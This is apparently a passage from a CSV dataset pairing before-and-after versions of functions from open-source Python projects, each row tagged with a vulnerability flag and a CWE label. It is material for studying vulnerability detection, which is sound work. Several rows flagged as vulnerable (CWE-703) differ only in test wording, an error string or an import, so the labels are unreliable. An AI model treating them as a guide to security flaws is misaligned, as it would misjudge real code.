        ntype = ndata.get('lxc.network.type', '')
        omac, otype = '', ''
        if iface in old:
            odata = old[iface]
            omac = odata.get('lxc.network.hwaddr', '')
            otype = odata.get('lxc.network.type', '')
        # default for network type is setted here
        # attention not to change the network type
        # without a good and explicit reason to.
        if otype and not ntype:
            ntype = otype
        if not ntype:
            ntype = 'veth'
        new[iface]['lxc.network.type'] = ntype
        if omac and not nmac:
            new[iface]['lxc.network.hwaddr'] = omac

    ret = []
    for val in six.itervalues(new):
        for row in val:
            ret.append(salt.utils.odict.OrderedDict([(row, val[row])]))
    # on old versions of lxc, still support the gateway auto mode
    # if we didnt explicitly say no to
    # (lxc.network.ipv4.gateway: auto)
    if (
        distutils.version.LooseVersion(version()) <= '1.0.7' and
        True not in ['lxc.network.ipv4.gateway' in a for a in ret] and
        True in ['lxc.network.ipv4' in a for a in ret]
    ):
        ret.append({'lxc.network.ipv4.gateway': 'auto'})
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/serialization/serde.py,0,"def deserialize(o: T | None, full=True, type_hint: Any = None) -> object:
    """"""
    Deserialize an object of primitive type and uses an allow list to determine if a class can be loaded.

    :param o: primitive to deserialize into an arbitrary object.
    :param full: if False it will return a stringified representation
                 of an object and will not load any classes
    :param type_hint: if set it will be used to help determine what
                 object to deserialize in. It does not override if another
                 specification is found
    :return: object
    """"""
    if o is None:
        return o

    if isinstance(o, _primitives):
        return o

    # tuples, sets are included here for backwards compatibility
    if isinstance(o, _builtin_collections):
        col = [deserialize(d) for d in o]
        if isinstance(o, tuple):
            return tuple(col)

        if isinstance(o, set):
            return set(col)

        return col

    if not isinstance(o, dict):
        # if o is not a dict, then it's already deserialized
        # in this case we should return it as is
        return o

    o = _convert(o)

    # plain dict and no type hint
    if CLASSNAME not in o and not type_hint or VERSION not in o:
        return {str(k): deserialize(v, full) for k, v in o.items()}

    # custom deserialization starts here
    cls: Any
    version = 0
    value: Any = None
    classname = """"

    if type_hint:
        cls = type_hint
        classname = qualname(cls)
        version = 0  # type hinting always sets version to 0
        value = o

    if CLASSNAME in o and VERSION in o:
        classname, version, value = decode(o)

    if not classname:
        raise TypeError(""classname cannot be empty"")

    # only return string representation
    if not full:
        return _stringify(classname, version, value)
    if not _match(classname) and classname not in _extra_allowed:
        raise ImportError(
            f""{classname} was not found in allow list for deserialization imports. ""
            f""To allow it, add it to allowed_deserialization_classes in the configuration""
        )

    cls = import_string(classname)

    # registered deserializer
    if classname in _deserializers:
        return _deserializers[classname].deserialize(cls, version, deserialize(value))
    if is_pydantic_model(cls):
        if PYDANTIC_MODEL_QUALNAME in _deserializers:
            return _deserializers[PYDANTIC_MODEL_QUALNAME].deserialize(cls, version, deserialize(value))

    # class has deserialization function
    if hasattr(cls, ""deserialize""):
        return getattr(cls, ""deserialize"")(deserialize(value), version)

    # attr or dataclass
    if attr.has(cls) or dataclasses.is_dataclass(cls):
        class_version = getattr(cls, ""__version__"", 0)
        if int(version) > class_version:
            raise TypeError(
                ""serialized version of %s is newer than module version (%s > %s)"",
                classname,
                version,
                class_version,
            )

        deserialize_value = deserialize(value)
        if not isinstance(deserialize_value, dict):
            raise TypeError(
                f""deserialized value for {classname} is not a dict, got {type(deserialize_value)}""
            )
        return cls(**deserialize_value)  # type: ignore[operator]

    # no deserializer available
    raise TypeError(f""No deserializer found for {classname}"")",CWE-Unknown,apache/airflow,bd38225727abb6a0df3f4ea0e6fc68fa388f0632,"def deserialize(o: T | None, full=True, type_hint: Any = None) -> object:
    """"""
    Deserialize an object of primitive type and uses an allow list to determine if a class can be loaded.

    :param o: primitive to deserialize into an arbitrary object.
    :param full: if False it will return a stringified representation
                 of an object and will not load any classes
    :param type_hint: if set it will be used to help determine what
                 object to deserialize in. It does not override if another
                 specification is found
    :return: object
    """"""
    if o is None:
        return o

    if isinstance(o, _primitives):
        return o

    # tuples, sets are included here for backwards compatibility
    if isinstance(o, _builtin_collections):
        col = [deserialize(d) for d in o]
        if isinstance(o, tuple):
            return tuple(col)

        if isinstance(o, set):
            return set(col)

        return col

    if not isinstance(o, dict):
        # if o is not a dict, then it's already deserialized
        # in this case we should return it as is
        return o

    o = _convert(o)

    # plain dict and no type hint
    if CLASSNAME not in o and not type_hint or VERSION not in o:
        return {str(k): deserialize(v, full) for k, v in o.items()}

    # custom deserialization starts here
    cls: Any
    version = 0
    value: Any = None
    classname = """"

    if type_hint:
        cls = type_hint
        classname = qualname(cls)
        version = 0  # type hinting always sets version to 0
        value = o

    if CLASSNAME in o and VERSION in o:
        classname, version, value = decode(o)

    if not classname:
        raise TypeError(""classname cannot be empty"")

    # only return string representation
    if not full:
        return _stringify(classname, version, value)
    if not _match(classname) and classname not in _extra_allowed:
        raise ImportError(
            f""{classname} was not found in allow list for deserialization imports. ""
            f""To allow it, add it to allowed_deserialization_classes in the configuration""
        )

    cls = import_string(classname)

    # registered deserializer
    if classname in _deserializers:
        return _deserializers[classname].deserialize(cls, version, deserialize(value))
    if is_pydantic_model(cls):
        if PYDANTIC_MODEL_QUALNAME in _deserializers:
            return _deserializers[PYDANTIC_MODEL_QUALNAME].deserialize(cls, version, deserialize(value))

    # class has deserialization function
    if hasattr(cls, ""deserialize""):
        return getattr(cls, ""deserialize"")(deserialize(value), version)

    # attr or dataclass
    if attr.has(cls) or dataclasses.is_dataclass(cls):
        class_version = getattr(cls, ""__version__"", 0)
        if int(version) > class_version:
            raise TypeError(
                ""serialized version of %s is newer than module version (%s > %s)"",
                classname,
                version,
                class_version,
            )

        return cls(**deserialize(value))

    # no deserializer available
    raise TypeError(f""No deserializer found for {classname}"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/tests/context_processors.py,0,"def test_permwrapper_in(self):
        """"""
        Test that 'something' in PermWrapper doesn't end up in endless loop.
        """"""
        perms = PermWrapper(MockUser())
        def raises():
            self.EQLimiterObject() in perms
        self.assertRaises(raises, TypeError)",CWE-Unknown,django/django,4dba4ed548c0abdf4cdc0f3781d1c4d89a567d23,"def test_permwrapper_in(self):
        """"""
        Test that 'something' in PermWrapper doesn't end up in endless loop.
        """"""
        perms = PermWrapper(MockUser())
        with self.assertRaises(TypeError):
            self.EQLimiterObject() in perms"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_ps.py,1,"def test_swap_memory():

    with patch(""salt.modules.ps.psutil.version_info"", (0, 5, 9)):
        with pytest.raises(CommandExecutionError) as exc:
            ps.swap_memory()
        assert (
            exc.value.error
            == ""swap_memory is only available in psutil 0.6.0 or greater""
        )

    with patch(
        ""salt.utils.psutil_compat.swap_memory"",
        MagicMock(return_value=STUB_SWAP_MEM),
    ):
        assert {
            ""used"": 500,
            ""total"": 1000,
            ""percent"": 50,
            ""free"": 500,
            ""sin"": 0,
            ""sout"": 0,
        } == ps.swap_memory()",CWE-703,saltstack/salt,7946e6b97bb2baaf6304180a6fba934e3a7e56c5,"def test_swap_memory():

    with patch(""salt.modules.ps.psutil.version_info"", (0, 5, 9)):
        with pytest.raises(CommandExecutionError) as exc:
            ps.swap_memory()
        assert (
            exc.value.error
            == ""virtual_memory is only available in psutil 0.6.0 or greater""
        )

    with patch(
        ""salt.utils.psutil_compat.swap_memory"",
        MagicMock(return_value=STUB_SWAP_MEM),
    ):
        assert {
            ""used"": 500,
            ""total"": 1000,
            ""percent"": 50,
            ""free"": 500,
            ""sin"": 0,
            ""sout"": 0,
        } == ps.swap_memory()"
,UNKNOWN,UNKNOWN,tests/tensorflow_autolog/test_tensorflow2_autolog.py,1,"def test_tf_keras_autolog_logs_to_and_deletes_temporary_directory_when_tensorboard_callback_absent(
    tmpdir, random_train_data, random_one_hot_labels, fit_variant
):
    from unittest import mock
    from mlflow.tensorflow import _TensorBoardLogDir

    mlflow.tensorflow.autolog()

    mock_log_dir_inst = _TensorBoardLogDir(location=str(tmpdir.mkdir(""tb_logging"")), is_temp=True)
    with mock.patch(""mlflow.tensorflow._TensorBoardLogDir"", autospec=True) as mock_log_dir_class:
        mock_log_dir_class.return_value = mock_log_dir_inst

        data = random_train_data
        labels = random_one_hot_labels

        model = create_tf_keras_model()

        if fit_variant == ""fit_generator"":

            def generator():
                while True:
                    yield data, labels

            model.fit_generator(generator(), epochs=10, steps_per_epoch=1)
        else:
            model.fit(data, labels, epochs=10)

        assert not os.path.exists(mock_log_dir_inst.location)",CWE-703,mlflow/mlflow,f81fa053b94b91887a8df0f242bd3688d5b190f8,"def test_tf_keras_autolog_logs_to_and_deletes_temporary_directory_when_tensorboard_callback_absent(
    tmpdir, random_train_data, random_one_hot_labels, fit_variant
):
    import mock
    from mlflow.tensorflow import _TensorBoardLogDir

    mlflow.tensorflow.autolog()

    mock_log_dir_inst = _TensorBoardLogDir(location=str(tmpdir.mkdir(""tb_logging"")), is_temp=True)
    with mock.patch(""mlflow.tensorflow._TensorBoardLogDir"", autospec=True) as mock_log_dir_class:
        mock_log_dir_class.return_value = mock_log_dir_inst

        data = random_train_data
        labels = random_one_hot_labels

        model = create_tf_keras_model()

        if fit_variant == ""fit_generator"":

            def generator():
                while True:
                    yield data, labels

            model.fit_generator(generator(), epochs=10, steps_per_epoch=1)
        else:
            model.fit(data, labels, epochs=10)

        assert not os.path.exists(mock_log_dir_inst.location)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/examples/test_examples.py,0,"def replace_mlflow_with_dev_version(yml_path):
    with open(yml_path, ""r"") as f:
        old_src = f.read()
        mlflow_dir = os.path.dirname(mlflow.__path__[0])
        new_src = re.sub(r""- mlflow.*\n"", ""- {}\n"".format(mlflow_dir), old_src)

    with open(yml_path, ""w"") as f:
        f.write(new_src)",,mlflow/mlflow,e3c3b5cfbebc659143ea9bc95b43313b64444be4,"def replace_mlflow_with_dev_version(yml_path):
    with open(yml_path, ""r"") as f:
        old_src = f.read()
        mlflow_dir = os.path.dirname(mlflow.__path__[0])
        new_src = re.sub(r""- mlflow.*\n"", ""- {}\n"".format(mlflow_dir), old_src)

    with open(yml_path, ""w"") as f:
        f.write(new_src)"
,UNKNOWN,UNKNOWN,tests/test_file.py,1,"def test_1_simple(self):
        f = LoopbackFile('r')
        try:
            f.write('hi')
            self.assertTrue(False, 'no exception on write to read-only file')
        except:
            pass
        f.close()

        f = LoopbackFile('w')
        try:
            f.read(1)
            self.assertTrue(False, 'no exception to read from write-only file')
        except:
            pass
        f.close()",CWE-703,paramiko/paramiko,7444a999931cddc1e61bb35270468aa45da2687e,"def test_1_simple(self):
        f = LoopbackFile('r')
        try:
            f.write('hi')
            self.assert_(False, 'no exception on write to read-only file')
        except:
            pass
        f.close()

        f = LoopbackFile('w')
        try:
            f.read(1)
            self.assert_(False, 'no exception to read from write-only file')
        except:
            pass
        f.close()"
,UNKNOWN,UNKNOWN,mlflow/models/evaluation/base.py,1,"def evaluate(
    model=None,
    data=None,
    *,
    model_type: Optional[str] = None,
    targets=None,
    predictions=None,
    dataset_path=None,
    feature_names: Optional[list] = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    extra_metrics: Optional[List[EvaluationMetric]] = None,
    custom_artifacts=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
    model_config=None,
    baseline_config=None,
):
    '''
    Evaluate a PyFunc model or custom callable on the specified dataset using specified
    ``evaluators``, and log resulting metrics & artifacts to MLflow tracking server. For additional
    overview information, see :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports model types listed below. For each pre-defined model type, the
       default evaluator evaluates your model on a selected set of metrics and generate artifacts
       like plots. Please find more details below.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc,
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For question-answering models, the default evaluator logs:
        - **metrics**: ``exact_match``, ``token_count``, `toxicity`_ (requires `evaluate`_,
          `pytorch`_, `flesch_kincaid_grade_level`_ (requires `textstat`_) and `ari_grade_level`_.
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _toxicity:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _textstat:
            https://pypi.org/project/textstat

     - For text-summarization models, the default evaluator logs:
        - **metrics**: ``token_count``, `ROUGE`_ (requires `evaluate`_, `nltk`_, and
          `rouge_score`_ to be installed), `toxicity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `ari_grade_level`_ (requires `textstat`_),
          `flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in the tabular format.

        .. _ROUGE:
            https://huggingface.co/spaces/evaluate-metric/rouge

        .. _toxicity:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _nltk:
            https://pypi.org/project/nltk

        .. _rouge_score:
            https://pypi.org/project/rouge-score

        .. _textstat:
            https://pypi.org/project/textstat

     - For text models, the default evaluator logs:
        - **metrics**: ``token_count``, `toxicity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `ari_grade_level`_ (requires `textstat`_),
          `flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _toxicity:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _textstat:
            https://pypi.org/project/textstat

     - For retriever models, the default evaluator logs:
        - **metrics**: ``precision_at_k``: has a default value of k = 3. To use a different
          value for k, include ``""k""`` in the ``evaluator_config`` parameter:
          ``evaluator_config={""k"":5}``.
        - **artifacts**: A JSON file containing the inputs, outputs, targets, and per-row metrics
          of the model in tabular format.

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric and artifact
          produced during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: If specified, the positive label to use when computing classification
          metrics such as precision, recall, f1, etc. for binary classification models. For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.
        - **col_mapping**: A dictionary mapping column names in the input dataset or output
          predictions to column names used when invoking the evaluation functions.
        - **k**: The number of top-ranked retrieved documents to use when computing the built-in
          metric ``precision_at_k`` for model_type=""retriever"". Default value is 3. For all other
          model types, this parameter will be ignored.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow
          Model Scoring Server process in an independent Python environment with the model's
          training time dependencies installed. As such, methods like ``predict_proba`` (for
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models)
          of the model become inaccessible and the default evaluator does not compute metrics or
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to
          compute. As such, model explainaibility is disabled when a non-local ``env_manager``
          specified, unless the ``evaluator_config`` option **log_model_explainability** is
          explicitly set to ``True``.

    :param model: Optional. If specified, it should be one of the following:

                  - A pyfunc model instance

                  - A URI referring to a pyfunc model

                  - A callable function: This function should be able to take in model input and
                    return predictions. It should follow the signature of the
                    :py:func:`predict <mlflow.pyfunc.PyFuncModel.predict>` method. Here's an example
                    of a valid function:

                        model = mlflow.pyfunc.load_model(model_uri)

                        def fn(model_input):
                            return model.predict(model_input)

        If omitted, it indicates a static dataset will be used for evaluation instead of a model.
        In this case, the ``data`` argument must be a Pandas DataFrame or an mlflow PandasDataset
        that contains model outputs, and the ``predictions`` argument must be the name of the
        column in ``data`` that contains model outputs.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame containing evaluation features, labels, and optionally model
                   outputs. Model outputs are required to be provided when model is unspecified.
                   If ``feature_names`` argument not specified, all columns except for the label
                   column and model_output column are regarded as feature columns. Otherwise,
                   only column names present in ``feature_names`` are regarded as feature columns.

                 -  A Spark DataFrame containing evaluation features and labels. If
                    ``feature_names`` argument not specified, all columns except for the label
                    column are regarded as feature columns. Otherwise, only column names present in
                    ``feature_names`` are regarded as feature columns. Only the first 10000 rows in
                    the Spark DataFrame will be used as evaluation data.

                 - A :py:class:`mlflow.data.dataset.Dataset` instance containing evaluation
                   features, labels, and optionally model outputs. Model outputs are only supported
                   with a PandasDataset. Model outputs are required when model is unspecified, and
                   should be specified via the ``predictions`` property of the PandasDataset.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels. Required for classifier and regressor models,
                    but optional for question-answering, text-summarization, and text models. If
                    ``data`` is a :py:class:`mlflow.data.dataset.Dataset` that defines targets,
                    then ``targets`` is optional.

    :param predictions: Optional. The name of the column that contains model outputs. There are two
                        cases where this argument is required:

                        - When ``model`` is specified and outputs multiple columns. The
                          ``predictions`` should be the name of the column that is used for
                          evaluation.
                        - When ``model`` is not specified and ``data`` is a pandas dataframe. The
                          ``predictions`` should be the name of the column in ``data`` that
                          contains model outputs.

        .. code-block:: python
            :caption: Example usage of predictions

            # Evaluate a model that outputs multiple columns
            data = pd.DataFrame({""question"": [""foo""]})


            def model(inputs):
                return pd.DataFrame({""answer"": [""bar""], ""source"": [""baz""]})


            results = evalaute(model=model, data=data, predictions=""answer"", ...)

            # Evaluate a static dataset
            data = pd.DataFrame({""question"": [""foo""], ""answer"": [""bar""], ""source"": [""baz""]})
            results = evalaute(data=data, predictions=""answer"", ...)

    :param model_type: (Optional) A string describing the model type. The default evaluator
                       supports the following model types:

                       - ``'classifier'``
                       - ``'regressor'``
                       - ``'question-answering'``
                       - ``'text-summarization'``
                       - ``'text'``
                       - ``'retriever'``

                       If no ``model_type`` is specified, then you must provide a a list of
                       metrics to compute via the ``extra_metrics`` param.

                       .. note::
                            ``'question-answering'``, ``'text-summarization'``, ``'text'``, and
                            ``'retriever'`` are experimental and may be changed or removed in a
                            future release.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column and the predictions column are regarded as
                          feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param extra_metrics:
        (Optional) A list of :py:class:`EvaluationMetric <mlflow.models.EvaluationMetric>` objects.
        See the `mlflow.metrics` module for more information about the
        builtin metrics and how to define extra metrics

        .. code-block:: python
            :caption: Example usage of extra metrics

            import mlflow
            import numpy as np


            def root_mean_squared_error(eval_df, _builtin_metrics):
                return np.sqrt((np.abs(eval_df[""prediction""] - eval_df[""target""]) ** 2).mean)


            rmse_metric = mlflow.models.make_metric(
                eval_fn=root_mean_squared_error,
                greater_is_better=False,
            )
            mlflow.evaluate(..., extra_metrics=[rmse_metric])

    :param custom_artifacts:
        (Optional) A list of custom artifact functions with the following signature:

        .. code-block:: python

            def custom_artifact(
                eval_df: Union[pandas.Dataframe, pyspark.sql.DataFrame],
                builtin_metrics: Dict[str, float],
                artifacts_dir: str,
            ) -> Dict[str, Any]:
                """"""
                :param eval_df:
                    A Pandas or Spark DataFrame containing ``prediction`` and ``target`` column.
                    The ``prediction`` column contains the predictions made by the model.
                    The ``target`` column contains the corresponding labels to the predictions made
                    on that row.
                :param builtin_metrics:
                    A dictionary containing the metrics calculated by the default evaluator.
                    The keys are the names of the metrics and the values are the scalar values of
                    the metrics. Refer to the DefaultEvaluator behavior section for what metrics
                    will be returned based on the type of model (i.e. classifier or regressor).
                :param artifacts_dir:
                    A temporary directory path that can be used by the custom artifacts function to
                    temporarily store produced artifacts. The directory will be deleted after the
                    artifacts are logged.
                :return:
                    A dictionary that maps artifact names to artifact objects
                    (e.g. a Matplotlib Figure) or to artifact paths within ``artifacts_dir``.
                """"""
                ...

        Object types that artifacts can be represented as:

            - A string uri representing the file path to the artifact. MLflow will infer the type of
              the artifact based on the file extension.
            - A string representation of a JSON object. This will be saved as a .json artifact.
            - Pandas DataFrame. This will be resolved as a CSV artifact.
            - Numpy array. This will be saved as a .npy artifact.
            - Matplotlib Figure. This will be saved as an image artifact. Note that
              ``matplotlib.pyplot.savefig`` is called behind the scene with default configurations.
              To customize, either save the figure with the desired configurations and return its
              file path or define customizations through environment variables in
              ``matplotlib.rcParams``.
            - Other objects will be attempted to be pickled with the default protocol.

        .. code-block:: python
            :caption: Example usage of custom artifacts

            import mlflow
            import matplotlib.pyplot as plt


            def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                plt.scatter(eval_df[""prediction""], eval_df[""target""])
                plt.xlabel(""Targets"")
                plt.ylabel(""Predictions"")
                plt.title(""Targets vs. Predictions"")
                plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                plt.close()
                return {""pred_target_scatter"": os.path.join(artifacts_dir, ""example.png"")}


            def pred_sample(eval_df, _builtin_metrics, _artifacts_dir):
                return {""pred_sample"": pred_sample.head(10)}


            mlflow.evaluate(..., custom_artifacts=[scatter_plot, pred_sample])

    :param validation_thresholds: (Optional) A dictionary of metric name to
        :py:class:`mlflow.models.MetricThreshold` used for model validation. Each metric name must
        either be the name of a builtin metric or the name of a metric defined in the
        ``extra_metrics`` parameter.

        .. code-block:: python
            :caption: Example of Model Validation

            from mlflow.models import MetricThreshold

            thresholds = {
                ""accuracy_score"": MetricThreshold(
                    # accuracy should be >=0.8
                    threshold=0.8,
                    # accuracy should be at least 5 percent greater than baseline model accuracy
                    min_absolute_change=0.05,
                    # accuracy should be at least 0.05 greater than baseline model accuracy
                    min_relative_change=0.05,
                    greater_is_better=True,
                ),
            }

            with mlflow.start_run():
                mlflow.evaluate(
                    model=your_candidate_model,
                    data,
                    targets,
                    model_type,
                    dataset_name,
                    evaluators,
                    validation_thresholds=thresholds,
                    baseline_model=your_baseline_model,
                )

        See :ref:`the Model Validation documentation <model-validation>`
        for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and
                        ``baseline_model`` in isolated Python evironments and restore their
                        dependencies. Default value is ``local``, and the following values are
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :param model_config: the model configuration to use for loading the model with pyfunc. Inspect
                         the model's pyfunc flavor to know which keys are supported for your
                         specific model. If not indicated, the default model configuration
                         from the model is used (if any).
    :param baseline_config: the model configuration to use for loading the baseline
                            model. If not indicated, the default model configuration
                            from the baseline model is used (if any).

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    '''
    from mlflow.pyfunc import PyFuncModel, _load_model_or_server, _ServedPyFuncModel
    from mlflow.utils import env_manager as _EnvManager

    if evaluator_config is not None:
        col_mapping = evaluator_config.get(""col_mapping"", {})

        if isinstance(targets, str):
            targets = col_mapping.get(targets, targets)

        if isinstance(predictions, str):
            predictions = col_mapping.get(predictions, predictions)

    if data is None:
        raise MlflowException(
            message=""The data argument cannot be None."", error_code=INVALID_PARAMETER_VALUE
        )

    _EnvManager.validate(env_manager)

    # If Dataset is provided, the targets can only be specified by the Dataset,
    # not the targets parameters of the mlflow.evaluate() API.
    if isinstance(data, Dataset) and targets is not None:
        raise MlflowException(
            message=""The top-level targets parameter should not be specified since a Dataset ""
            ""is used. Please only specify the targets column name in the Dataset. For example: ""
            ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`. ""
            ""Meanwhile, please specify `mlflow.evaluate(..., targets=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    # If Dataset is provided and model is None, then the predictions can only be specified by the
    # Dataset, not the predictions parameters of the mlflow.evaluate() API.
    if isinstance(data, Dataset) and model is None and predictions is not None:
        raise MlflowException(
            message=""The top-level predictions parameter should not be specified since a Dataset ""
            ""is used. Please only specify the predictions column name in the Dataset. For example:""
            "" `data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`""
            ""Meanwhile, please specify `mlflow.evaluate(..., predictions=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    # If Dataset is provided and model is specified, then the data.predictions cannot be specified.
    if (
        isinstance(data, Dataset)
        and model is not None
        and getattr(data, ""predictions"", None) is not None
    ):
        raise MlflowException(
            message=""The predictions parameter should not be specified in the Dataset since a ""
            ""model is specified. Please remove the predictions column from the Dataset."",
